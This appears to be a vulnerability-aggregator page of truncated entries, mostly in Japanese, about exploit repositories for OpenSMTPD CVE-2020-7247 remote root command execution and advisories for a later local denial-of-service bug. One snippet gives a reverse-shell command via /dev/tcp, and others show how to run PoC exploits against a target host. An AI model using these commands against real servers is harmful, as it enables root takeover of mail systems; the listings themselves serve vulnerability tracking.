cve-2020-7247

cve-2020-7247 エクスプロイトタイトル: OpenSMTPD 6.6.2 - リモートコード実行. 新しい日付: 2020-01-29. エクスプロイト作者: 1F98D. 原作者: Qualys Security Advisory. ベンダーホームページ: https://www.opensmtpd.org/. ソフトウェアリンク: https://github.com/OpenSMTPD/OpenSMTPD/releases/tag/6.6.1p1. バージョン: OpenSMTPD 6.6.2. テスト済み: OpenBSD 6.6, OpenBSD 6.5,...

CVE-2020-7247

CVE-2020-7247 この脆弱性は、OpenBSDのメールサーバOpenSMTPDの「smtpmailaddr」関数に存在し、OpenBSDバージョン6.6に影響を与えます。これにより、攻撃者はrootユーザーとして「sleep 66」などの任意のシェルコマンドを実行できます。 使い方 python3 getShell.py リバースシェルが必要な場合は、次のように実行します。 python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 重要 このエクスプロイト内のRCPT...

CVE-2020-7247

CVE 2020-7247 OpenSMTPD 6.4.0...

CVE-2020-7247-exploit

CVE-2020-7247-exploit OpenSMTPD 6.4.0 - 6.6.1 リモートコード実行 PoC エクスプロイト 参照: https://www.openwall.com/lists/oss-security/2020/01/28/3 使用方法 python3 exploit.py 依存関係 pip3 install --user pwntools...

local-exploits

ローカルエクスプロイト さまざまなローカルエクスプロイト CVE-2020-8793 opensmptd-makemap-lpe - Fedora 31 OpenSMTPD makemap のローカル root エクスプロイト。 コードの大部分は Qualys アドバイザリ（2020-02-24）から、 CVE-2020-8793 用に引用しています。 opensmtpd: 特権のない攻撃者による任意のファイルの読み取りは、情報漏洩または権限昇格につながる可能性があります fedora-all CVE-2020-7247 root66 OpenBSD 6.6 OpenSMTPD 6.6...

cve-2020-7247-exploit

cve-2020-7247-exploit cve-2020-7247 の Python エクスプロイト 脆弱性について読む: https://blog.firosolutions.com/exploits/opensmtpd-remote-vulnerability/...

OpenSMTPD-CVE-2020-7247-

OpenSMTPD リモートコマンド実行の脆弱性 CVE-2020-7247 WHS 4期 パク・ソルミン 元リンク: https://github.com/vulhub/vulhub/blob/43eae7170d09e7748c3aac64cd6a8e5af508a8ef/opensmtpd/CVE-2020-7247/README.md 概要 OpenSMTPD は Unix 系オペレーティングシステムで使用される SMTP サーバープログラムです。BSD、macOS、GNU/Linux などで使用でき、RFC 5321 SMTP プロトコルに基づいて動作します。...

CVE-2020-7247

CVE-2020-7247 CVE-2020-7247 の PoC エクスプロイト OpenSMTPD 6.6.2 のリモートコード実行 OpenSMTPD 6.6.2 https://www.cvedetails.com/cve/CVE-2020-7247 テスト済み: OpenBSD 6.6 ペイロードのクレジット: Marco Ivaldi [email protected] 使用方法 リモート $ go run CVE-2020-7247.go -u 192.168.0.2 -p 25 -d example.org Linux を使用していない場合は、ソースコード内の ...

CVE-2020-7247-reproducer

CVE-2020-7247 OpenSMTPD 情報 このリポジトリには、OpenSMTPD（6.6.1p1）の脆弱な環境を含む Docker イメージを構築するために必要なファイルが含まれています。この脆弱性により、攻撃者は特別に細工された SMTP セッション、特に MAIL FROM フィールドを通じて任意のコマンドを実行できます。 使用方法 1. Docker イメージをビルド （Debian ベース）: docker build -t opensmtpd-vuln -f Dockerfile . docker run -it --rm --name...

Exploit for OS Command Injection in Openbsd Opensmtpd

OpenSMTPD 원격 명령 실행 취약점 CVE-2020-7247 개요 OpenSMTPD는 Unix 계...

Exploit for CVE-2002-0526

Local Exploits Various local exploits CVE-2020-7247 root...

CVE-2025-62875

An Improper Check for Unusual or Exceptional Conditions vulnerability in OpenSMTPD allows local users to crash OpenSMTPD. This issue affects openSUSE Tumbleweed: from ? before 7.8.0p0-1.1...

CVE-2025-62875 Local DoS in OpenSMTPD via UNIX domain socket smtpd.sock

An Improper Check for Unusual or Exceptional Conditions vulnerability in OpenSMTPD allows local users to crash OpenSMTPD. This issue affects openSUSE Tumbleweed: from ? before 7.8.0p0-1.1...

CVE-2025-62875

OpenSMTPD contains an improper check for unusual or exceptional conditions that allows a local user to crash the daemon (local DoS) via a UNIX domain socket (smtpd.sock). Affected product: OpenSMTPD on openSUSE Tumbleweed, affected versions are prior to 7.8.0p0-1.1. Root cause is an insufficient ...

EUVD-2025-198303

An Improper Check for Unusual or Exceptional Conditions vulnerability in OpenSMTPD allows local users to crash OpenSMTPD. This issue affects openSUSE Tumbleweed: from ? before 7.8.0p0-1.1...

CVE-2025-62875 Local DoS in OpenSMTPD via UNIX domain socket smtpd.sock

An Improper Check for Unusual or Exceptional Conditions vulnerability in OpenSMTPD allows local users to crash OpenSMTPD. This issue affects openSUSE Tumbleweed: from ? before 7.8.0p0-1.1...

CVE-2025-62875 Local DoS in OpenSMTPD via UNIX domain socket smtpd.sock

An Improper Check for Unusual or Exceptional Conditions vulnerability in OpenSMTPD allows local users to crash OpenSMTPD. This issue affects openSUSE Tumbleweed: from ? before 7.8.0p0-1.1...

CVE-2025-62875: Improper Check for Unusual or Exceptional Conditions

An Improper Check for Unusual or Exceptional Conditions vulnerability in OpenSMTPD allows local users to crash OpenSMTPD. This issue affects openSUSE Tumbleweed: from ? before 7.8.0p0-1.1...

openSUSE Tumbleweed 安全漏洞

openSUSE Tumbleweed is a desktop and server operating system from openSUSE Germany. A security vulnerability exists in openSUSE Tumbleweed that stems from improper checking of an exception condition that could cause a local user to crash OpenSMTPD...

OpenSMTPD < 5.3.2 DoS Vulnerability

OpenSMTPD is prone to a denial of service DoS vulnerability. SPDX-FileCopyrightText: 2025 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE = "cpe:/a:openbsd:opensmtpd";...